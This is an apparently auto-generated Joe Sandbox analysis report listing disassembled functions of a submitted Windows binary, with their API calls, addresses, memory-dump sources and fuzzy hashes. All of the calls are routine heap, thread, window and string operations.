                                                                                          Function 00409588 Relevance: 9.1, APIs: 6, Instructions: 68threadCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • EnumWindows.USER32(00409507,?), ref: 0040959B
                                                                                          • GetCurrentThreadId.KERNEL32 ref: 004095B3
                                                                                          • SetWindowPos.USER32(?,000000FE,00000000,00000000,00000000,00000000,00000003,?,?,?,?,?), ref: 004095CF
                                                                                          • GetCurrentThreadId.KERNEL32 ref: 004095EF
                                                                                          • EnableWindow.USER32(?,00000001), ref: 00409605
                                                                                          • SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003,?,?,?,?,?), ref: 0040961C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$CurrentThread$EnableEnumWindows
                                                                                          • String ID:
                                                                                          • API String ID: 2527101397-0
                                                                                          • Opcode ID: 63874de7abb22210dce27e7498091370d04ccb8537cec92ca55daa4cf010ce04
                                                                                          • Instruction ID: 1b506e7c949c81e82e84a7d7bfb29e48a0d3001387cd43cbe5fa1ceb5ac7c4b4
                                                                                          • Opcode Fuzzy Hash: 63874de7abb22210dce27e7498091370d04ccb8537cec92ca55daa4cf010ce04
                                                                                          • Instruction Fuzzy Hash: D211D032149741BBD7324F16EC48F57BBB9EB81B20F148A3EF065226E1DB766C44CA18
                                                                                          Function 0040D9D3 Relevance: 9.1, APIs: 6, Instructions: 66memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • TlsAlloc.KERNEL32(?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D9F8
                                                                                          • HeapAlloc.KERNEL32(00000008,00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040DA0C
                                                                                          • TlsSetValue.KERNEL32(00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040DA19
                                                                                          • TlsGetValue.KERNEL32(00000010,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040DA30
                                                                                          • HeapReAlloc.KERNEL32(00000008,00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040DA3F
                                                                                          • TlsSetValue.KERNEL32(00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040DA4E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocValue$Heap
                                                                                          • String ID:
                                                                                          • API String ID: 2472784365-0
                                                                                          • Opcode ID: 7f6b70932fc1a08cda45a5a13933a08f33854a1b42fa358b63a86d14e57a1294
                                                                                          • Instruction ID: 2e0cfeba47cec0f6b91efb2e93d625c98a83c07df354da5318bce0fb1280086a
                                                                                          • Opcode Fuzzy Hash: 7f6b70932fc1a08cda45a5a13933a08f33854a1b42fa358b63a86d14e57a1294
                                                                                          • Instruction Fuzzy Hash: 1C118676A45310AFD7109FA5EC44AA67FA9EB18760B05813EF904D7370DA359C44CBAC
                                                                                          Function 004126A4 Relevance: 9.0, APIs: 6, Instructions: 45memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • UnregisterWait.KERNEL32(?), ref: 004126AE
                                                                                          • CloseHandle.KERNEL32(?,?,?,?,0041282A,?), ref: 004126B7
                                                                                          • EnterCriticalSection.KERNEL32(004186E8,?,?,?,0041282A,?), ref: 004126C3
                                                                                          • LeaveCriticalSection.KERNEL32(004186E8,?,?,?,0041282A,?), ref: 004126E8
                                                                                          • HeapFree.KERNEL32(00000000,00000000,?,?,?,0041282A,?), ref: 00412706
                                                                                          • HeapFree.KERNEL32(?,?,?,?,?,0041282A,?), ref: 00412718
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalFreeHeapSection$CloseEnterHandleLeaveUnregisterWait
                                                                                          • String ID:
                                                                                          • API String ID: 4204870694-0
                                                                                          • Opcode ID: f70a7c029a070c226780d23f7e43a7120967b39c5434bc4d35a475d06415ef98
                                                                                          • Instruction ID: 8ad69fc92b526a08bfe7472bb61da84b570d2b31100e81d3d28f3db860eb322d
                                                                                          • Opcode Fuzzy Hash: f70a7c029a070c226780d23f7e43a7120967b39c5434bc4d35a475d06415ef98
                                                                                          • Instruction Fuzzy Hash: ED014874202605BFC7159F11ED88ADABB79FF49352310843EE51AC6A60CB35A861CBA8
                                                                                          Function 004057F0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 118COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • wcsncmp.MSVCRT ref: 00405853
                                                                                          • memmove.MSVCRT(00000000,00000000,?,00000000,00000000,?,?,-0000012C,?,?,00402252,00000000,00000002,00000000,00000000,00417024), ref: 004058E1
                                                                                          • wcsncpy.MSVCRT ref: 004058F9
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: memmovewcsncmpwcsncpy
                                                                                          • String ID: $0A$$0A
                                                                                          • API String ID: 1452150355-167650565
                                                                                          • Opcode ID: 14318413d9adc2e2b942005046f5369366b6e76739e1c09bf8bc34821c1b3a51
                                                                                          • Instruction ID: 832c062924e7bef47b33d77ba9c88e4f4304e1b7f9fac3bbf8cf3561daacd64f
                                                                                          • Opcode Fuzzy Hash: 14318413d9adc2e2b942005046f5369366b6e76739e1c09bf8bc34821c1b3a51
                                                                                          • Instruction Fuzzy Hash: 7131C336904B058BC720BA55888057B77A8EE84384F14893EEC8537382EB799D61CBA9
                                                                                          Function 0040552C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • memset.MSVCRT ref: 0040553B
                                                                                          • GetModuleHandleW.KERNEL32(ntdll.dll,?,?,00000000), ref: 0040554A
                                                                                          • GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 0040555A
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProcmemset
                                                                                          • String ID: RtlGetVersion$ntdll.dll
                                                                                          • API String ID: 3137504439-1489217083
                                                                                          • Opcode ID: 979e6798394419a5d8feb081e21a74f9c3e25225fd5f8554349b136b21278e81
                                                                                          • Instruction ID: c27d50cfc24873b946f5b5a14a9105dc5d991450749eb0f504377b4d26b5710e
                                                                                          • Opcode Fuzzy Hash: 979e6798394419a5d8feb081e21a74f9c3e25225fd5f8554349b136b21278e81
                                                                                          • Instruction Fuzzy Hash: 14E0DF31B8461576C6202F75AC0AFCB2AEDCFC6B41B18043AF101F31D5DA38CA418ABD
                                                                                          Function 0040A6C3 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 80memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • wcslen.MSVCRT ref: 0040A72B
                                                                                          • HeapAlloc.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00000000,0040A54C,?,?,00000000,?,?,00403C0E), ref: 0040A741
                                                                                          • wcscpy.MSVCRT ref: 0040A74C
                                                                                          • memset.MSVCRT ref: 0040A77A
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocHeapmemsetwcscpywcslen
                                                                                          • String ID: $0A
                                                                                          • API String ID: 1807340688-513306843
                                                                                          • Opcode ID: 0446004259e7087f80f5e9692535c9a3ff9e7738c9dd9ea03abb58d6e7266719
                                                                                          • Instruction ID: e32262bd00c92b68ef8260e1fb7dc13a688965226c4dfc8bf1af71259570edab
                                                                                          • Opcode Fuzzy Hash: 0446004259e7087f80f5e9692535c9a3ff9e7738c9dd9ea03abb58d6e7266719
                                                                                          • Instruction Fuzzy Hash: 3C214872100B01AFC321AF159881B6BB7F9EF88314F14893FF58563691CB79E8258B1A
                                                                                          Function 0040A460 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 73memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 0040A54F: HeapFree.KERNEL32(00000000,?,?,00000000,00000200,?,?,0040A46F,00000200,?,?,?,004010C3,00000004,00000015,00000000), ref: 0040A57A
                                                                                            • Part of subcall function 0040A54F: HeapFree.KERNEL32(00000000,?,?,?,0040A46F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A586
                                                                                            • Part of subcall function 0040A54F: HeapFree.KERNEL32(00000000,?,?,?,?,0040A46F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 0040A59A
                                                                                            • Part of subcall function 0040A54F: HeapFree.KERNEL32(00000000,00000000,?,?,0040A46F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A5B0
                                                                                          • HeapAlloc.KERNEL32(00000000,0000003C,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 0040A47F
                                                                                          • HeapAlloc.KERNEL32(00000008,00000015,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 0040A4A5
                                                                                          • HeapAlloc.KERNEL32(00000008,FFFFFFED,FFFFFFED,00000010,00010000,00000004,00000200,?,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 0040A502
                                                                                          • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 0040A51C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: Heap$Free$Alloc
                                                                                          • String ID: $0A
                                                                                          • API String ID: 3901518246-513306843
                                                                                          • Opcode ID: 38ff8db7da0bfef88404013647d5d2cc437161e020f58e3aa9cad386b680b922
                                                                                          • Instruction ID: cd652e3bdf182b70a5213d1d771de0a97fad45979f4c99c471b58853275527fc
                                                                                          • Opcode Fuzzy Hash: 38ff8db7da0bfef88404013647d5d2cc437161e020f58e3aa9cad386b680b922
                                                                                          • Instruction Fuzzy Hash: F4216AB1600716BFD3108F2ADC01B46BBE4FB4C700F41812EB508E76A1DB70E964CB99
                                                                                          Function 0040548C Relevance: 7.6, APIs: 5, Instructions: 60synchronizationthreadCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • CreateThread.KERNEL32(00000000,00001000,?,?,00000000,00989768), ref: 004054A5
                                                                                          • EnterCriticalSection.KERNEL32(00418708,?,?,?,?,00402DD8,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054B7
                                                                                          • WaitForSingleObject.KERNEL32(00000008,00000000,00000000,?,?,?,?,00402DD8,00000000,00000000,?,0000000A,?,00000000,00000001,00000000), ref: 004054CE
                                                                                          • CloseHandle.KERNEL32(00000008,?,?,?,?,00402DD8,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054DA
                                                                                            • Part of subcall function 0040E1B2: HeapFree.KERNEL32(00000000,-00000008,0040DACB,00000010,00000800,?,00000000,?,?,00000000,00403350,00000000,00000000,00000000,00000000,?), ref: 0040E1EB
                                                                                          • LeaveCriticalSection.KERNEL32(00418708,?,?,?,?,00402DD8,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 0040551D
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$CloseCreateEnterFreeHandleHeapLeaveObjectSingleThreadWait
                                                                                          • String ID:
                                                                                          • API String ID: 3708593966-0
                                                                                          • Opcode ID: 7d32ff8fa703d6aea88238e8b85a34b2bc4f47d3e9cf465d70c1e07cefa75554
                                                                                          • Instruction ID: 22802cd27a3f1ed093d1fd342325ad429a5e5b172653039cc62d2cb3277a330b
                                                                                          • Opcode Fuzzy Hash: 7d32ff8fa703d6aea88238e8b85a34b2bc4f47d3e9cf465d70c1e07cefa75554
                                                                                          • Instruction Fuzzy Hash: AD11C232148214BFC3115F69EC05AD7BBB9EF46752720843AF800972A0EB75A8818B68
                                                                                          Function 0040DFC6 Relevance: 7.6, APIs: 5, Instructions: 54memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • EnterCriticalSection.KERNEL32(00418684,00000200,00000000,?,0040A568,?,00000000,00000200,?,?,0040A46F,00000200,?,?,?,004010C3), ref: 0040DFDA
                                                                                          • LeaveCriticalSection.KERNEL32(00418684,?,0040A568,?,00000000,00000200,?,?,0040A46F,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040E02F
                                                                                            • Part of subcall function 0040DFC6: HeapFree.KERNEL32(00000000,?,?,0040A568,?,00000000,00000200,?,?,0040A46F,00000200,?,?,?,004010C3,00000004), ref: 0040E028
                                                                                          • DeleteCriticalSection.KERNEL32(00000020,00000000,00000000,?,0040A568,?,00000000,00000200,?,?,0040A46F,00000200,?,?,?,004010C3), ref: 0040E048
                                                                                          • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,0040A568,?,00000000,00000200,?,?,0040A46F,00000200), ref: 0040E057
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CriticalSection$FreeHeap$DeleteEnterLeave
                                                                                          • String ID:
                                                                                          • API String ID: 3171405041-0
                                                                                          • Opcode ID: fdf9844f3b1e6b4279b4029fb6c954a1531c20b726c16353b8bda20627decff9
                                                                                          • Instruction ID: 55e4d48cd168304893741703cb98186ecc41a8d0b28d64f5ed6d9708d3a92668
                                                                                          • Opcode Fuzzy Hash: fdf9844f3b1e6b4279b4029fb6c954a1531c20b726c16353b8bda20627decff9
                                                                                          • Instruction Fuzzy Hash: 23116A71101611EFC720AF16DC08B97BBB9FF45301F15883EE50AA7AA1C779A855CFA8
                                                                                          Function 0040994F Relevance: 7.5, APIs: 6, Instructions: 31COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • CloseHandle.KERNEL32(00989768,?,?,00403DFC,?,00000000,00000000,00000000,0041702A,?,00000000,00000000,00000000,00000044,00000000), ref: 0040995D
                                                                                          • CloseHandle.KERNEL32(?,?,?,00403DFC,?,00000000,00000000,00000000,0041702A,?,00000000,00000000,00000000,00000044,00000000), ref: 00409968
                                                                                          • CloseHandle.KERNEL32(?,?,?,00403DFC,?,00000000,00000000,00000000,0041702A,?,00000000,00000000,00000000,00000044,00000000), ref: 00409973
                                                                                          • CloseHandle.KERNEL32(?,?,?,00403DFC,?,00000000,00000000,00000000,0041702A,?,00000000,00000000,00000000,00000044,00000000), ref: 0040997E
                                                                                          • EnterCriticalSection.KERNEL32(00418730,?,?,00403DFC,?,00000000,00000000,00000000,0041702A,?,00000000,00000000,00000000,00000044,00000000), ref: 00409986
                                                                                          • LeaveCriticalSection.KERNEL32(00418730,?,?,00403DFC,?,00000000,00000000,00000000,0041702A,?,00000000,00000000,00000000,00000044,00000000), ref: 0040999A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseHandle$CriticalSection$EnterLeave
                                                                                          • String ID:
                                                                                          • API String ID: 10009202-0
                                                                                          • Opcode ID: 926b03219edff138682592b50218eb32bbb5e82e6177662db6676d56e49f664e
                                                                                          • Instruction ID: e0bc3ded0607a690d6707024abf9d108a6c512657707c309f6689cc3689588ed
                                                                                          • Opcode Fuzzy Hash: 926b03219edff138682592b50218eb32bbb5e82e6177662db6676d56e49f664e
                                                                                          • Instruction Fuzzy Hash: 35F0FE32004600ABD3226F25DC08BABB7B5BF91355F15883EE055615B0CB796896DF59
                                                                                          Function 00409698 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                            • Part of subcall function 0040E900: TlsGetValue.KERNEL32(0000000D,00001000,00000000,00000000), ref: 0040E90C
                                                                                            • Part of subcall function 0040E900: HeapReAlloc.KERNEL32(00980000,00000000,?,?), ref: 0040E967
                                                                                          • GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401BD6,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 004096B4
                                                                                          • wcscmp.MSVCRT ref: 004096C2
                                                                                          • memmove.MSVCRT(00000000,00000008,\\?\,?,?,?,00401BD6,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000), ref: 004096DA
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocFileHeapModuleNameValuememmovewcscmp
                                                                                          • String ID: \\?\
                                                                                          • API String ID: 3734239354-4282027825
                                                                                          • Opcode ID: 33c17352ecf2d33e8b842fb82144003de2b1de4302be4aa3bf9866a4b196b950
                                                                                          • Instruction ID: 45f2cbb32eb965b059acfe96771e330f3b1ba6a562bb2c4a442859e911d7a588
                                                                                          • Opcode Fuzzy Hash: 33c17352ecf2d33e8b842fb82144003de2b1de4302be4aa3bf9866a4b196b950
                                                                                          • Instruction Fuzzy Hash: 15F0E2B31002017AC2006777DC89CAB7BACEB853B4750093FF516E2491EA38D82486B8
                                                                                          Function 0040B8B6 Relevance: 6.3, APIs: 5, Instructions: 93COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • memset.MSVCRT ref: 0040B957
                                                                                          • memset.MSVCRT ref: 0040B960
                                                                                          • memset.MSVCRT ref: 0040B969
                                                                                          • memset.MSVCRT ref: 0040B976
                                                                                          • memset.MSVCRT ref: 0040B982
                                                                                            • Part of subcall function 0040CCB6: memcpy.MSVCRT(?,?,00000040,?,?,?,?,?,?,?,?,?,00000000,?,0040B8F5,?), ref: 0040CD10
                                                                                            • Part of subcall function 0040CCB6: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,0040B8F5,?), ref: 0040CD5F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: memset$memcpy
                                                                                          • String ID:
                                                                                          • API String ID: 368790112-0
                                                                                          • Opcode ID: b0beb639d4b87296fea5d69f8c5fb0a7f200458fdca181524d22ac5a9409a4ef
                                                                                          • Instruction ID: 1965f6ec6392bd57460d2593cd94e0dced67690f07481f5a959be489f1b8959c
                                                                                          • Opcode Fuzzy Hash: b0beb639d4b87296fea5d69f8c5fb0a7f200458fdca181524d22ac5a9409a4ef
                                                                                          • Instruction Fuzzy Hash: FD21D6727507083BE524AA29DC86F9F738CDB41708F50063EF241B62C1DA79E54546AD
                                                                                          Function 00405BA0 Relevance: 6.2, APIs: 4, Instructions: 167memoryCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606183078.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_nkYzjyrKYK.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocHeapwcsncpy
                                                                                          • String ID:
                                                                                          • API String ID: 2304708654-0
                                                                                          • Opcode ID: a90f3be50ee59ad9f9cb2c8344752c2d6c44559da06bb1932963a8c5f4cf1607
                                                                                          • Instruction ID: c5f2f283d94cb2b95ca38a154dbf8d05cc6d7144c7ec2ede7a16228095844b4d
                                                                                          • Opcode Fuzzy Hash: a90f3be50ee59ad9f9cb2c8344752c2d6c44559da06bb1932963a8c5f4cf1607
                                                                                          • Instruction Fuzzy Hash: F751BD34508B059BDB209F28D844A6B77F4FF84348F544A2EFC85A72D0E778E955CB89
                                                                                          Function 00406670 Relevance: 6.1, APIs: 4, Instructions: 90COMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • CharLowerW.USER32(00417032,?,?,?,?,?,?,?,?,?,004026F1,00000000,00000000), ref: 00406696
                                                                                          • CharLowerW.USER32(00000000,?,?,?,?,?,?,?,?,004026F1,00000000,00000000), ref: 004066D0
                                                                                          • CharLowerW.USER32(?,?,?,?,?,?,?,?,?,004026F1,00000000,00000000), ref: 004066FF
                                                                                          • CharLowerW.USER32(?,?,?,?,?,?,?,?,?,004026F1,00000000,00000000), ref: 00406705
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.4606063014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.4606021737.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606107211.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.4606147052.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
